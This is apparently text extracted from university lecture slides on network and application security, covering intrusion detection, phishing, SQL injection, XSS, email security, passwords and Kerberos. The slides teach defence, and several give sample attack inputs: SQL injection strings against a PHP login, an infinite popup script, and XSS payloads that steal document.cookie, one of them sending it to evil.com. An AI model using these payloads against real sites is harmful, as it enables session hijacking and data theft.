• rules are system-specific, attack-specific
– can identify new threats by recognizing
suspicious behavior but may yield more false
positives if rules are unclear
97
– E.g., Snort
CIS 4520
Introduction to
Cryptography
Detection Quality
Wenjing Zhang
• FP is more severe in
statistical anomaly
detection (anything
out of the ordinary
might be flagged as a
threat)
• FN is more severe in
signature-based
detection (look for
specific patterns or
signatures of attacks,
may overlook new or
varied attacks it
doesn't recognize.)
99 99
CIS 4520
Introduction to
Cryptography
Network-based IDS Example: SNORT
Wenjing Zhang
100 100
CIS 4520
Introduction to
Cryptography
IDS
• Requirements
Wenjing Zhang
– run continually
– be fault tolerant
– resist subversion
– impose a minimal overhead on system
– configured according to system security
policies
– adapt to changes in systems and users
– scale to monitor large numbers of systems
– provide graceful degradation of service
– allow dynamic reconfiguration
101
CIS 4520
Introduction to
Cryptography
IDS vs. Firewall/IPS
• Network IDS
Wenjing Zhang
– Passive monitoring
– Fail-open
• Firewall/IPS
– Active filtering
– Fail-close: not let data in!
102 102
CIS 4520
Introduction to
Cryptography
Security Intelligence
Wenjing Zhang
• Data-driven information security
– bank fraud detection: credit companies have
done this for decades.
– anomaly-based intrusion detection systems.
• Custom-built infrastructure to mine Big
Data for fraud detection was not cost-
effective to scale or adapt for other fraud
detection uses.
• Commercially available Big Data tools and
techniques are now bringing attention to
analytics for fraud detection in healthcare,
insurance, and other fields.
103
CIS 4520
Introduction to
Cryptography
Data Analytics for Intrusion Detection
Wenjing Zhang
• Traditional techniques vs. Big Data
– Storing large amounts of data was not cost-
effective, leading to the deletion of most logs
and computer activity after a fixed retention
period (e.g., 60 days).
– Performing analytics and complex queries on
large, structured data sets was inefficient.
– Traditional tools were not designed to analyze
and manage unstructured data.
– Big Data tools (e.g., Piglatin scripts and regular
expressions) can query data in flexible formats.
– Big Data systems use cluster computing
infrastructures reliable and available.
104
CIS 4520
Introduction to
Cryptography
Data Analytics for Intrusion Detection
105
CIS 4520
Introduction to
Cryptography
Security Intelligence
Wenjing Zhang
106
CIS 4520
Introduction to
Cryptography
Machine Learning for Security
107
CIS 4520
Introduction to
Cryptography
Machine Learning for Security
Security
108
CIS 4520
Introduction to
Cryptography
Machine Learning for Security
Wenjing Zhang
• Deep neural networks (DNNs) for Security
– Intrusion detection, anomaly detection
– Deep packet inspection
– Feature learning
– Adaptive defense
– Real-time detection
109
CIS 4520
Introduction to
Cryptography
Example: IBM’s Security Intelligence
Wenjing Zhang • Predictive analytics, prioritized threat data,
proactive response
– Multi-vendor event correlation
– Global monitoring
– Threat prioritization
– Sophisticated intelligence reporting
– Real-time analysis
– Automated Intelligence
110
CIS 4520
Introduction to
Cryptography
Example: Zions Bancorporation
Wenjing Zhang • National bank headquartered in Salt Lake
City, Utah.
• Using Hadoop clusters and business
intelligence tools to parse more data more
quickly than with traditional SIEM tools.
– traditional system: searching among a month’s
load of data could take 20 mins ~ an hour.
– new Hadoop system running queries with
Hive: get the same results in about one minute.
– incorporate unstructured and multiple disparate
data sets into a single analytical framework.
111
CIS 4520
Introduction to
Cryptography
Example: APT
Wenjing Zhang • Advanced Persistent Threat (APT)
– Among the most serious information security
threats that organizations face today.
– Operated by sophisticated attackers targeting
specific organizations’ high-value assets, often
spanning months or years.
– Become highly sophisticated and diverse in
technologies, especially in leveraging social
engineering to exploit organization’s
employees and penetrate IT systems
• spear-phishing messages that are customized for
each victim (e.g., emails, SMS, and PUSH
messages); specially crafted malware that may
contain zero-day exploits
112
CIS 4520
Introduction to
Cryptography
Example: APT
detection
• MapReduce paradigm
– More efficiently handle highly unstructured
data with arbitrary formats that are captured by
many types of sensors (e.g., Syslog, IDS,
Firewall, NetFlow, and DNS) over long
periods of time
– Massive parallel processing mechanism: use
much more sophisticated detection algorithms
than the traditional SQL-DBMS (transactional
workloads with highly structured data)
114
CIS 4520
Introduction to
Cryptography
APT detection
detection
• MapReduce paradigm
– Users have the power and flexibility to
incorporate any detection algorithms into the
Map and Reduce functions
– Potential to help analyze more data at once, to
cover more attack paths and possible targets,
and to reveal unknown threats using machine
learning techniques
115
CIS 4520
Introduction to
Cryptography
Application Security
• Web Security
Wenjing Zhang
– Phishing
– SQL Injection
– Cross-Site Scripting (XSS)
• Email Security
– Secure Email
– Spamming
116
CIS 4520
Introduction to
Cryptography
Web Security Vulnerabilities
Wenjing Zhang
117
CIS 4520
Introduction to
Cryptography
Web Security Vulnerabilities
Wenjing Zhang
118
CIS 4520
Introduction to
Cryptography
Phishing
Wenjing Zhang
http://67.15.76.201/~guru/negotiations.html
119
CIS 4520
Introduction to
Cryptography
Phishing
Wenjing Zhang
120
CIS 4520
Introduction to
Cryptography
Phishing
Wenjing Zhang
121
CIS 4520
Introduction to
Cryptography
Phishing
Wenjing Zhang
122
CIS 4520
Introduction to
Cryptography
Phishing
123
CIS 4520
Introduction to
Cryptography
Spoofing Location Bar
• Phisher:
Wenjing Zhang
124
CIS 4520
Introduction to
Cryptography
Repository of Phishing Sites
• Phish Tank
Wenjing Zhang
• http://www.phishtank.com/
125
CIS 4520
Introduction to
Cryptography
Phish Tank
Wenjing Zhang
126
CIS 4520
Introduction to
Cryptography
Phish Tank
Wenjing Zhang
127
CIS 4520
Introduction to
Cryptography
Phish Tank
Wenjing Zhang
128
CIS 4520
Introduction to
Cryptography
Phish Tank
Wenjing Zhang
129
CIS 4520
Introduction to
Cryptography
Detected by Browsers
Wenjing Zhang
130
CIS 4520
Introduction to
Cryptography
Application Security
• Web Security
Wenjing Zhang
– Phishing
– SQL Injection
– Cross-Site Scripting (XSS)
• Email Security
– Secure Email
– Spamming
131
CIS 4520
Introduction to
Cryptography
Relational Databases
Wenjing Zhang • A type of database that stores and provides
access to data points related to one another
• Essential for organizing and managing
large volumes of data efficiently
• Data is organized in tables (rows and
columns)
• Uses Structured Query Language (SQL)
for data querying and manipulation
• Examples:
– MySQL, PostgreSQL, Oracle Database,
Microsoft SQL Server.
132
CIS 4520
Introduction to
Cryptography
Relational Databases
Wenjing Zhang
133
CIS 4520
Introduction to
Cryptography
Relational Databases
Wenjing Zhang
135
CIS 4520
Introduction to
Cryptography
Web Security: Concepts & Terminology
Wenjing Zhang
• HTML (Hypertext Markup Language)
– Used to structure the content of web pages.
– JavaScript can manipulate HTML dynamically to
change content, styles, or layout based on user
interactions or other events.
• JavaScript and PHP are both programming
languages commonly used in web
development, but they serve different
purposes and operate on different parts of a
web application.
136
CIS 4520
Introduction to
Web Security: Concepts & Terminology
Cryptography
• Cookies
Wenjing Zhang
– Small pieces of data stored on the user's browser
by websites they visit. Designed for websites to
remember stateful information, such as
• items added to the shopping cart in an online store
• record the user's browsing activity, including clicking
particular buttons, logins, and visited pages
– Commonly used for session management, user
How is this
possible? authentication, and tracking user preferences.
– Often store session data that verifies the identity
of the user without needing to log in again.
– JavaScript and PHP can manage cookies to read,
write, and delete cookie data.
– Can be exploited in XSS attacks when they
137
contain sensitive information.
CIS 4520
Introduction to
Cryptography
Web Security: Concepts & Terminology
Wenjing Zhang • JavaScript
– A client-side scripting language used to add
interactivity and dynamic behavior to web pages.
– Runs in the user's browser and can manipulate
HTML dynamically.
– Can interact with cookies stored in the user's
browser, allowing for operations such as reading,
writing, and deleting cookie data.
– JavaScript can also be exploited in XSS attacks
when injected into a web page to execute
malicious scripts in the context of other users'
sessions.
138
CIS 4520
Introduction to
Cryptography
Web Security: Concepts & Terminology
Wenjing Zhang • PHP (Hypertext Preprocessor)
– A server-side scripting language used to build
dynamic web pages and web applications.
– Runs on web server and generates HTML content
dynamically, which is then sent to user's browser.
– Can interact with databases, such as MySQL or
PostgreSQL, to retrieve or store data.
– Can handle cookies, both for reading and setting
values, often used for user session management.
– PHP applications are vulnerable to SQL injection
attacks due to improper input sanitization,
enabling attackers to manipulate queries for data
extraction or modification.
139
CIS 4520
Introduction to
Cryptography
Web Security: Concepts & Terminology
Wenjing Zhang • SQL Injection Attack
– Occur when attackers manipulate SQL queries
executed by a web application's backend
database.
– Attackers can extract sensitive data from the
database, modify or delete data, execute
administrative operations, or even take control of
the entire application or server.
– PHP applications are commonly vulnerable to
SQL injection attacks
• when they construct SQL queries using user-controlled
input without proper input sanitization (clean or filter
the input to prevent malicious data from being
processed as part of the HTML )
140
CIS 4520
Introduction to
Cryptography
Web Security: Concepts & Terminology
Wenjing Zhang • SQL Injection Attack: Example
– A PHP-based web application accepts user input
to search for products in a database.
– The application constructs SQL queries
dynamically using the user input without proper
sanitization.
– An attacker exploits this vulnerability by
submitting malicious input containing SQL code.
– The attacker's input modifies the SQL query to
retrieve sensitive information from the database.
141
CIS 4520
Introduction to
Cryptography
Web Security: Concepts & Terminology
Wenjing Zhang • XSS (Cross-Site Scripting) Attack
– Occur when attackers inject malicious scripts
(usually JavaScript) into web pages viewed by
end-users.
– JavaScript is commonly used to execute XSS
attacks by injecting scripts that steal cookies,
redirect users to malicious websites, hijack user
sessions, deface websites, or perform other
unauthorized actions on behalf of the victim.
– PHP applications can also be vulnerable to XSS
attacks when they output user-controlled data
without proper input sanitization, allowing
attackers to inject malicious scripts.
142
CIS 4520
Introduction to
Cryptography
Web Security: Concepts & Terminology
Wenjing Zhang • XSS (Cross-Site Scripting) Attack: Example
– A PHP-based web application allows users to
post comments on a forum.
– The application uses JavaScript to display these
comments dynamically without proper input
sanitization.
– An attacker exploits this vulnerability to inject
malicious JavaScript code into a comment.
– When other users view the comment, the
malicious JavaScript code executes in their
browsers, potentially stealing their session
cookies or performing other malicious actions.
143
CIS 4520
Introduction to
Cryptography
Web Security: Concepts & Terminology
Wenjing Zhang • Interconnections of Terminologies
– In both attack examples, web application
vulnerabilities are exploited by attackers for
malicious actions.
– JavaScript, PHP, and cookies are integral to web
development, and vulnerabilities in these
components can lead to security breaches such as
XSS or SQL injection attacks.
– Proper input validation/sanitization, output
encoding, and security measures are essential to
mitigate risks and protect web applications and
user data.
144
CIS 4520
Introduction to
Cryptography
SQL Injection
Wenjing Zhang
145
CIS 4520
Introduction to
Cryptography
SQL Injection
146
CIS 4520
Introduction to
Cryptography
SQL Injection
Wenjing Zhang
Wrong username
and/or password.
147
CIS 4520
Introduction to
Cryptography
SQL Injection
Wenjing Zhang
Display user
information.
148
CIS 4520
Introduction to
Cryptography
SQL Injection
Wenjing Zhang
<?php
$user=$_POST["uname"];
$pass=$_POST["pwd"];
//connect to DB………..
if (mysql_num_rows($result)==0) {
echo "Wrong Username/Password combination. <br> Access Denied<br>";
} else {
echo "user found";
}
149
CIS 4520
Introduction to
Cryptography
SQL Injection
Wenjing Zhang
150
CIS 4520
Introduction to
Cryptography
SQL Injection
151
CIS 4520
Introduction to
Cryptography
SQL Injection
How?
SELECT *
FROM users
WHERE uname='robert' # '
AND passwd=PASSWORD('$pass')
• The new query logic:
SELECT *
FROM users
WHERE uname='robert'
153
CIS 4520
Introduction to
Cryptography
SQL Injection
Wenjing Zhang
154
CIS 4520
Introduction to
Cryptography
SQL Injection
155
CIS 4520
Introduction to
Cryptography
SQL Injection
Wenjing Zhang
156
CIS 4520
Introduction to
Cryptography
SQL Injection
SELECT *
FROM users
WHERE uname='0' OR first LIKE 'Jam%' # '
AND passwd=PASSWORD('$pass')
157
CIS 4520
Introduction to
Cryptography
SQL Injection
• SQL Injection
Wenjing Zhang
– Controls
• Prepared statements – first define query logic (build
the query tree), then pass parameters
• Escaping: disallow certain characters that could be
used maliciously in user input
158
CIS 4520
Introduction to
Cryptography
Wenjing Zhang
159
CIS 4520
Introduction to
Cryptography
Malicious Content Injection
Wenjing Zhang
160
CIS 4520
Introduction to
Cryptography
Malicious Content Injection
Wenjing Zhang
Send a message
to James.
161
CIS 4520
Introduction to
Cryptography
Malicious Content Injection
Wenjing Zhang
James logs in
The message is
displayed
162
CIS 4520
Introduction to
Cryptography
Malicious Content Injection
• Javascript
– A scripting language used to improve the
quality of webpages
• Create dialogs, forms, graphs, …
• Built upon API functions
– Should have NO ability to read local files, or
open connections
– However…
163
CIS 4520
Introduction to
Cryptography
Malicious Content Injection
• Javascript
– However, it’s the source of most recent
security holes in Firefox and IE:
• DoS – the infinite popup script
• Spoofing – easy to create password dialogs
• What if I send:
<script language="javascript">
function popup(){
while (1 == 1) {
window.open("http://www.yahoo.com");
}
}
</script>
164
CIS 4520
Introduction to
Cryptography
Cookies
How is this
possible?
165
CIS 4520
Introduction to
Cryptography
Cookies
Wenjing Zhang
• A cookie is a file created by a website to store
user information on the user's browser.
• Offload server state to browsers.
• Contains information that server can use to
remember you, e.g., a unique session identifier
for session management.
Enters form data
Browser
Server
Stores cookie
Includes domain (who can read it), expiration,
“secure” (can be read only over SSL)
Requests cookie
Browser
Server
Returns data
167
CIS 4520
Introduction to
Cryptography
Cookies
Wenjing Zhang • A browser's cookie management window
168
CIS 4520
Introduction to
Cryptography
Cookies
Wenjing Zhang
169
CIS 4520
Introduction to
Cryptography
Cookies
171
CIS 4520
Introduction to
Cryptography
Cookies
cookies
• So what?
172
CIS 4520
Introduction to
Cryptography
Cookies
Wenjing Zhang • James send this to Robert:
<script>
document.getElementById("to").value="james";
document.getElementById("message").value=document.c
ookie;
</script>
174
CIS 4520
Introduction to
Cryptography
Cookies
175
CIS 4520
Introduction to
Cryptography
Cookies
<script>
document.getElementById("to").value="james";
document.getElementById("message").value=document.c
ookie;
document.forms["msg"].submit();
</script>
176
CIS 4520
Introduction to
Cryptography
Cookies
Wenjing Zhang
177
CIS 4520
Introduction to
Cryptography
Cookies
178
CIS 4520
Introduction to
Cryptography
Application Security
• Web Security
Wenjing Zhang
– Phishing
– SQL Injection
– Cross-Site Scripting (XSS)
• Email Security
– Secure Email
– Spaming
179
CIS 4520
Introduction to
Cryptography
XSS Attacks
Wenjing Zhang
victim’s
browser naive.com
hello.cgi
GET/ hello.cgi?name=Alice
hello.cgi
executed
<HTML>Hello, dear Alice
Welcome!</HTML>
180
CIS 4520
Introduction to
Cryptography
XSS Attacks: Cookie Theft
Wenjing Zhang
victim’s
evil.com browser naive.com
<FRAME SRC=
http://naive.com/hello.cgi? GET/ hello.cgi?name=
name=<script>win.open( <script>win.open(“http://
“http://evil.com/steal.cgi? evil.com/steal.cgi?cookie”+ hello.cgi
cookie=”+document.cookie) document.cookie)</script>
executed
</script>>
<HTML>Hello, dear
Forces victim’s browser to <script>win.open(“http://
call hello.cgi on naive.com evil.com/steal.cgi?cookie=”
with this script as “name” +document.cookie)</script>
Welcome!</HTML>
GET/ steal.cgi?cookie=
Interpreted as Javascript
by victim’s browser;
opens window and calls
steal.cgi on evil.com
181
CIS 4520
Introduction to
Cryptography
XSS Attacks
Wenjing Zhang
• Attacker inserts malicious JavaScript into a Web
page or HTML email
• When script is executed, it steals user’s cookies
and hands them over to attacker’s site
• Problem occurs when sites fail to sanitize user
input to strip HTML, so user input is
inserted/injected into HTML response
– strip HTML: to remove or filter out HTML code from
user input before it is inserted into a webpage
– input sanitization: the process of cleaning and validating
user input to ensure that it is safe and conforms to the
expected format before using it in an application
182
CIS 4520
Introduction to
Cryptography
XSS Attacks
Wenjing Zhang
• Why victim’s cookie is returned?
– Javascript from a site can access that site’s cookies
– If Javascript contains malicious code, it can steal
cookies and send them to some other site
• Why would user click on such a link?
– Phishing email in webmail client (e.g. gmail).
– Embed link in double-click banner Ad
– Many ways to fool user into clicking, social engineering
• What if evil.com gets cookie for victim?
– Cookie may include session authentication for victim
and data intended only for victim
– Attacker gain unauthorized access to victim's session on
naive.com, potentially leading to account takeover or
other privacy violations
183
CIS 4520
Introduction to
Cryptography
XSS Attacks
Wenjing Zhang
• Attacker can execute arbitrary scripts in
browser
– To attack other websites
• Can manipulate any DOM component on
victim.com
– Control links on page
– Control form fields on this page and linked
pages
• Example: MySpace.com phishing attack injects
password field that sends password to bad guy
– DOM: Document Object Model
• Data representation of objects that comprise the
structure and content of a webpage
184
CIS 4520
Introduction to
Cryptography
Cybersecurity Incident: MySpace Worm
Wenjing Zhang
• MySpace.com: social networking website founded
in 2003 in the U.S.
• Users can post HTML on their MySpace pages
• MySpace does not allow scripts in users’ HTML
– No <script>, <body>, onclick, <a href=javascript://>
• … but it does allow Javascript in CSS (Cascading
Style Sheets) tags
– <div style=“background:url(‘javascript:alert(1)’)”>
• With careful Javascript hacking
– Samy’s worm: propagates itself through MySpace,
infects anyone who visits an infected MySpace page,
and adds Samy as a friend.
– 5 hourse later, Samy has 1,005,831 friends (1000/s).
– Samy had millions of friends within 24 hours.
185
CIS 4520
Introduction to
Cryptography
Preventing Cross-Site Scripting
Wenjing Zhang
• Preventing injection of scripts into HTML is hard!
• Input checking is difficult
– Blocking “<” and “>” is not enough (“<” and “>” are
used to create malicious payloads that execute
JavaScript, leading to XSS attacks when interpreted by
Ensure that special the browser)
characters are
display on the page
– Many ways to inject: event handlers, stylesheets,
as normal text encoded inputs (%3C, URL encoded form of “<”)
rather than being
interpreted as part
• Preprocess input from user before displaying it on
of the HTML or a web page
script code.
– In PHP: htmlspecialchars(string) is used to replace all
special characters with their HTML codes
• Web Security
Wenjing Zhang
– Phishing
– SQL Injection
– Cross-Site Scripting (XSS)
• Email Security
– Secure Email
– Spaming
187
CIS 4520
Introduction to
Cryptography
Internet Mail Architecture
Wenjing Zhang
Simple Mail
Transfer Protocol
(SMTP)
188
CIS 4520
Introduction to
Cryptography
Email Security
– Loss of confidentiality
• E-mails are sent in clear over open networks
• E-mails stored on potentially insecure clients and
mail servers
– Loss of integrity
• No integrity protection on e-mails; body can be
altered in transit or on mail server
– Lack of data origin authentication
– Lack of non-repudiation
– Lack of notification of receipt
189
CIS 4520
Introduction to
Cryptography
What are the Options
190
CIS 4520
Introduction to
Cryptography
Email based Attacks
191
CIS 4520
Introduction to
Cryptography
Email based Attacks
Wenjing Zhang • Web bugs (tiny, hidden images embedded
in emails to track when an email is opened)
– Modifying image at mail server maintains
visual consistency while disabling tracking
Disable image
auto-loading to
prevent tracking
192
CIS 4520
Introduction to
Cryptography
Application Security
• Web Security
Wenjing Zhang
– Phishing
– SQL Injection
– Cross-Site Scripting (XSS)
• Email Security
– Secure Email
– Spamming
193
CIS 4520
Introduction to
Cryptography
Email SPAM
Wenjing Zhang • Global cost of spam exceeded 17 billion
U.S. dollars in 2020 (Source: Statista)
– includes direct costs such as lost productivity,
costs associated with anti-spam solutions,
potential legal compliance costs, etc.
• SPAM filtering
– Content based – required hits
– White list, Black list
– Defang MIME (Multipurpose Internet Mail
Extensions)
• altering email content so that potentially malicious
elements within email cannot be executed, such as
disabling links or scripts contained within the email.
194
CIS 4520
Introduction to
Cryptography
S/MIME
Wenjing Zhang
• Secure/Multipurpose Internet Mail
Extensions
• Security enhancement to MIME email
– original Internet RFC822 email was text only
– MIME provided support for varying content
types and multi-part messages, e.g., attachment
– with encoding of binary data to textual form
– industry standard for public key encryption
and signing of MIME data
• S/MIME supported in many mail agents
– e.g., MS Outlook, Mozilla, Mac Mail etc.
195
CIS 4520
Introduction to
Cryptography
S/MIME Functions
• enveloped data
Wenjing Zhang
•
Wenjing Zhang
digital signatures: DSS & RSA
• hash functions: SHA-1 & MD5
• session key encryption: ElGamal & RSA
• message encryption: AES, Triple-DES,
RC2/40 and others
• MAC: HMAC with SHA-1
• have process to decide which algs to use
197
CIS 4520
Introduction to
Cryptography
S/MIME Certificate Processing
198
CIS 4520
Introduction to
Cryptography
Conclusions
199
199
CIS 4520
Introduction to
Cryptography
Security Advisories
– Government of Canada
– https://www.cyber.gc.ca/en/alerts-advisories
200
200
CIS 4520
Introduction to
Cryptography
Security Related URLs
Wenjing Zhang • OWASP (Open Web Application Security
Project)
– https://owasp.org/
• SANS Institute
– https://www.sans.org/CERT
• CERT (Computer Emergency Response
Team)
– https://www.cisa.gov/
• The Hacker News
– https://thehackernews.com/
• SecurityWeek
– https://www.securityweek.com/
201
201
CIS 4520
Introduction to
Cryptography
Slides Refences
Wenjing Zhang
Authentication
Wenjing Zhang
[email protected]
CIS 4520
Introduction to
Cryptography
Authentication
Wenjing Zhang • Authentication: proves you are who you
say you are (confirms identity)
• Authentication
– Alice connects to chase.com
• How does Alice know it’s really Chase?
– Alice logs in to use the system
• How does the system know it’s Alice?
• We consider two authentication scenarios
– Server authentication
• Certificate
– User authentication
• With OS
• In a distributed system
2
CIS 4520
Introduction to
Cryptography
Server Authentication Using Certificate
Wenjing Zhang 1. User Action: User enters https://www.cibc.com
in a web browser.
2. Certificate Presentation: The server sends its
digital certificate.
3. Browser Verification: Verifies the digital
signature with the CA's public key.
4. Session Key Encryption: Browser encrypts a
session key using the server's public key.
5. Server Decryption: Server decrypts the session
key using its private key.
6. Secure Session: Browser and server exchange
data encrypted with the session key.
3
CIS 4520
Introduction to
Cryptography
User Authentication
Wenjing Zhang • Operating System (OS) Authentication
– Local Login (e.g., Windows 10):
• Credentials checked against OS security database.
– Access Control:
• Once authenticated, permissions determine access to
files, apps, and settings.
• Distributed System Authentication
– Single Sign-On (e.g., UofG Account):
• One-time login grants access to multiple services
(e.g., email, internal applications such as
webadvisor).
– Multi-Factor Authentication (e.g., IRCC):
• Adds layers of security with additional verification
(e.g., one-time passcode, biometrics).
4
CIS 4520
Introduction to
Cryptography
Certificate
Alice
– Message is signed with key claiming to be
Alice’s
– Signature matches the message
– That is
• the message m was hashed into h(m), and then
encrypted by a private key into c=E(h(m))
• together with the message m and the encrypted hash
c, Bob also receives a public key that claims to
belong to Alice
• the public key could successfully decrypt c into D(c)
• Bob hashes the message locally, and it does match
with D(c)
5
CIS 4520
Introduction to
Cryptography
Certificate
Alice
– Message is signed with key claiming to be
Alice’s
– Signature matches the message
6
CIS 4520
Introduction to
Cryptography
Certificate
7
CIS 4520
Introduction to
Cryptography
Certificate
8
CIS 4520
Introduction to
Cryptography
Certificate
9
CIS 4520
Introduction to
Cryptography
Certificate
10
CIS 4520
Introduction to
Cryptography
Certificate
Citi is endorsed by Further endorsed by
Wenjing Zhang DigiCert SHA2 DigiCert High
Extended Validation Assurance EV Root
Sever CA CA
The identify of
the owner of
the website.
The identity of
the entity who
issued the
certificate, i.e.,
the Certificate
Authorities
11
CIS 4520
Introduction to
Cryptography
Certificate
Wenjing Zhang
RSA is used in
this certificate.
Key length:
2048 bits.
Exponent: e
Modulus: n
The crypto
hash values.
12
CIS 4520
Introduction to
Cryptography
Certificate
Wenjing Zhang
Now we look at
DigiCert SHA2
Extended Validation
Sever CA
This certificate
is valid for 15
years.
13
CIS 4520
Introduction to
Cryptography
Certificate
Wenjing Zhang
The root
certificate is
valid for 25
years.
14
CIS 4520
Introduction to
Cryptography
Public-Key Infrastructure (PKI)
15
CIS 4520
Introduction to
Cryptography
Public-Key Infrastructure (PKI)
16
CIS 4520
Introduction to
Cryptography
Public-Key Infrastructure (PKI)
17
CIS 4520
Introduction to
Cryptography
Public-Key Infrastructure (PKI)
• Alice’s certificate:
Wenjing Zhang
18
CIS 4520
Introduction to
Cryptography
Public-Key Infrastructure (PKI)
• Alice’s certificate:
Wenjing Zhang
19
CIS 4520
Introduction to
Cryptography
Public-Key Infrastructure (PKI)
20
CIS 4520
Introduction to
Cryptography
Authentication
Wenjing Zhang • Authentication: proves you are who you
say you are (confirms identity)
• Authentication
– Alice talks with Bob
• How does Bob know it’s Alice?
– Alice logs in to use the system
• How does the system know it’s Alice?
• We consider two authentication scenarios
– Server authentication
• Certificate
– User authentication
• With OS
• In a distributed system
21
CIS 4520
Introduction to
Cryptography
Authentication
• Credentials can be
Wenjing Zhang
22
CIS 4520
Introduction to
Cryptography
Password Authentication
Wenjing Zhang
• Passwords are pretty weak……
• SplashData’s Worst Passwords List: most commonly used
passwords in 2015 (from 2M+ leaked passwords)
23
CIS 4520
Introduction to
Cryptography
Password Authentication
Wenjing Zhang
• Passwords are pretty weak……
• SplashData’s Worst Passwords List: most commonly used
passwords in 2018
1 123456 Unchanged 14 666666 New
2 password Unchanged 15 abc123 Unchanged
3 123456789 Up 3 16 football Down 7
4 12345678 Down 1 17 123123 Unchanged
5 12345 Unchanged 18 monkey Down 5
6 111111 New 19 654321 New
7 1234567 Up 1 20 !@#$%^&* New
8 sunshine New 21 charlie New
9 qwerty Down 5 22 aa123456 New
10 iloveyou Unchanged 23 donald New
11 princess New 24 password1 New
12 admin Down 1 25 qwerty123 New
13 welcome Down 1
24
CIS 4520
Introduction to
Cryptography
Password Authentication
file?
– Aside: this has happened a lot. Many of them
through SQL injection attack.
• Instead of storing cleartext passwords
– Store passwords transformed through some
one-way function, e.g. the hash of the
password.
• When user sends password
– System takes hash of the password, H(pass)
– Check H(pass) == what’s in password file
25
CIS 4520
Introduction to
Cryptography
Password Authentication
• Password crackers
Wenjing Zhang
– Brute force
– Dictionary based
• What if the bad guy manages to get the
hashed password h(p)
– Hash the terms in the dictionary, and compare
them with h(p)
– Counter measure: we can make the h()
function very slow, or hash it many times.
• If it takes 0.1 second to compute hash – doesn’t
matter in real-world applications.
• However, the adversary could only test 600
passwords in a minute.
26
CIS 4520
Introduction to
Cryptography
Password Authentication
27
CIS 4520
Introduction to
Cryptography
Password Authentication
Wenjing Zhang
NTLM: MS’s
NT Lan
Manager
28
CIS 4520
Introduction to
Cryptography
Password Authentication
Wenjing Zhang • What if the bad guy pre-computes h(p) for
all entries in the dictionary?
– Rainbow table
– Yes, you can purchase from the Internet.
• Counter measure: salt
– Add randomness to password hash
– Random data called salt
– Example: Cryptographically Secure Pseudo-
Random Number Generator (CSPRNG)
29
CIS 4520
Introduction to
Cryptography
Password Authentication
– Graphical passwords?
• Android: patterns
– Biometrics?
• uses unique physical characteristics for
identification
• Face recognition
• Fingerprint
– Two-factor authentication? (Knowledge
Factor + Possession Factor)
• password + token
• password + something like SecureID
• password + biometrics
30
CIS 4520
Introduction to
Cryptography
Distributed Authentication
• In a distributed environment?
Wenjing Zhang
– Key management
– Secret key: if there are N entities, N2 shared
keys would be needed
– PKI: if there are N entities, N (public, private)
key pairs would be needed
– A better solution?
31
CIS 4520
Introduction to
Cryptography
What is Kerberos?
Wenjing Zhang • Computer-network authentication protocol
– one of the best-known and most widely implemented
trusted third-party key distribution systems
– developed at MIT in the mid-1980s
• Provide strong authentication for client/server
applications in a distributed environment, using
secret-key cryptography.
– user types in a password and logged into a workstation.
On behalf of the user, the workstation authenticates and
accesses resources seamlessly
– allows users access to services distributed through
network
– without needing to trust all workstations
– rather all trust a central authentication server
• Two versions in use: 4 & 5
32
CIS 4520
Introduction to
Cryptography
What is Kerberos?
Wenjing Zhang
• Cerberus (Kerberos in Greek)
– In Greek mythology, a many-headed dog, the guardian
of the entrance of Hades
• Practical Uses of Kerberos
– Microsoft Windows
– Email, FTP, network file systems, many other
applications have been kerberized
• Use of Kerberos is transparent for the end user
• Transparency is important for usability!
– Local authentication
• login and su in OpenBSD
– Authentication for network protocols
• rlogin, rsh
– Secure windowing systems: graphical user interface
(GUI) environments designed with security features
33
CIS 4520
Introduction to
Cryptography
Design Rationales Behind Kerberos
35
CIS 4520
Introduction to
Cryptography
Requirements for Distributed
Wenjing Zhang
Authentication
• Security
– … against attacks by passive eavesdroppers
and actively malicious users
• Transparency (user-friendly)
– Users shouldn’t notice authentication taking
place
– Entering password is Ok, if done rarely
• Scalability
– Large number of users and servers
36
CIS 4520
Introduction to
Cryptography
Threats
• User impersonation
Wenjing Zhang
37
CIS 4520
Introduction to
Terms
Cryptography
39
CIS 4520
Introduction to
Cryptography
Naive Authentication
Wenjing Zhang
40
CIS 4520
Introduction to
Cryptography
Two-Step Authentication?
Wenjing Zhang
41
CIS 4520
Introduction to
Cryptography
Threats
Wenjing Zhang
• Ticket hijacking
– Malicious user may steal the service ticket of
another user on the same workstation and use it
– Servers must verify that the user who is
presenting the ticket is the same user to whom the
ticket was issued
• No server authentication
– Attacker may misconfigure the network so that he
receives messages addressed to a legitimate server
• Capture private information from users and/or deny
service
– Servers must prove their identity to users
42
CIS 4520
Introduction to
Cryptography
Overview of Kerberos
Wenjing Zhang
43
CIS 4520
Introduction to
Cryptography
Symmetric Keys in Kerberos
Wenjing Zhang
44
CIS 4520
Introduction to
Cryptography
Phase 1: “Single Logon” Authentication
Wenjing Zhang
45
CIS 4520
Introduction to
Cryptography
Phase 2: Obtaining a Service Ticket
Wenjing Zhang
46
CIS 4520
Introduction to
Cryptography
Phase 3: Obtaining Service
Wenjing Zhang
47
CIS 4520
Introduction to
Ticket vs. Authenticator
Cryptography
• Ticket
Wenjing Zhang
48
CIS 4520
Introduction to
Cryptography
Summary of Kerberos Negotiations
Wenjing Zhang
Source:
Wikipedia
49
CIS 4520
Introduction to
Cryptography
Kerberos in Large Networks
Wenjing Zhang
50
CIS 4520
Introduction to
Cryptography
Important Ideas in Kerberos
Wenjing Zhang
• Short-term session keys
– Long-term secrets used only to derive short-term keys
– Separate session key for each user-server pair
• Re-used by multiple sessions between same user and server
51
CIS 4520
Introduction to
Cryptography
Kerberos Version 5
Wenjing Zhang
• Better user-server authentication
– Separate subkey for each user-server session instead of
re-using the session key contained in the ticket
– Authentication via subkeys, not timestamp increments
• Authentication forwarding (delegation)
– Servers can access other servers on user’s behalf, e.g.
can tell printer to fetch email
• Realm hierarchies for inter-realm authentication
• Explicit integrity checking + standard CBC mode
• Multiple encryption schemes, not just DES
52
CIS 4520
Introduction to
Cryptography
Kerberos V4 vs. V5
• Authentication forwarding/delegation: V4
Wenjing Zhang
54
CIS 4520
Introduction to
Cryptography
